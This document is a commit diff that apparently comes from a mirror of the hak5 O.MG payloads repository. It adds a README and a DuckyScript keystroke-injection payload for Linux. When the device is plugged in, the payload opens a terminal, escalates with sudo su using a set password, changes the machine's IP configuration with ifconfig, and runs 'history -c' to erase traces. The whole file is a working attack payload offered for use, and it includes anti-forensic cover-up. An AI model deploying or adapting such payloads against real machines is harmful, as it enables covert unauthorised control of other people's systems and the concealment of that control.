mirror of https://github.com/hak5/omg-payloads.git
commit
53f2f574a7
|
@ -0,0 +1,27 @@
|
|||
|
||||
# Change Network Configuration
|
||||
|
||||
A script used to change the network configuration on a Linux machine.
|
||||
|
||||
**Category**: Execution
|
||||
|
||||
## Description
|
||||
|
||||
A script used to change the network configuration on a Linux machine.
|
||||
|
||||
Opens a shel, get the network card name, set the network configuration, erase traces.
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* Linux Permissions
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
|
||||
### Settings
|
||||
|
||||
* Set the sudo password
|
||||
* Change as you want the network configuration
|
|
@ -0,0 +1,59 @@
|
|||
REM ###############################################
|
||||
REM # |
|
||||
REM # Title : Change Network Configuration |
|
||||
REM # Author : Aleff |
|
||||
REM # Version : 1.0 |
|
||||
REM # Category : Execution |
|
||||
REM # Target : Linux |
|
||||
REM # |
|
||||
REM ###############################################
|
||||
|
||||
REM Requirements:
|
||||
REM - Permissions
|
||||
|
||||
REM Required: You need to know the sudo password and replace 'example' with this
|
||||
DEFINE SUDO_PASS example
|
||||
DEFINE #IPADDRESS 192.168.1.100
|
||||
DEFINE #SUBNETMASK 255.255.255.0
|
||||
DEFINE #GATEWAY 192.168.1.1
|
||||
|
||||
|
||||
DELAY 1000
|
||||
CTRL-ALT t
|
||||
DELAY 2000
|
||||
|
||||
|
||||
REM #### PERMISSIONS SECTION ####
|
||||
STRINGLN sudo su
|
||||
|
||||
DELAY 1000
|
||||
STRINGLN SUDO_PASS
|
||||
DELAY 1000
|
||||
|
||||
REM #### IP SECTION ####
|
||||
REM net-tools command
|
||||
STRING apt install net-tools
|
||||
ENTER
|
||||
DELAY 2000
|
||||
|
||||
REM Set network interface
|
||||
|
||||
STRINGLN IP="#IPADDRESS"
|
||||
DELAY 500
|
||||
STRINGLN MASK="#SUBNETMASK"
|
||||
DELAY 500
|
||||
STRINGLN GATEWAY="#GATEWAY"
|
||||
DELAY 500
|
||||
|
||||
REM Get the net interface name
|
||||
STRINGLN INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}')
|
||||
DELAY 500
|
||||
STRINGLN ifconfig $INTERFACE $IP netmask $MASK up
|
||||
DELAY 500
|
||||
|
||||
REM #### REMOVE TRACES ####
|
||||
STRINGLN history -c
|
||||
DELAY 500
|
||||
|
||||
REM Close shell
|
||||
STRINGLN exit
|
Loading…
Reference in New Issue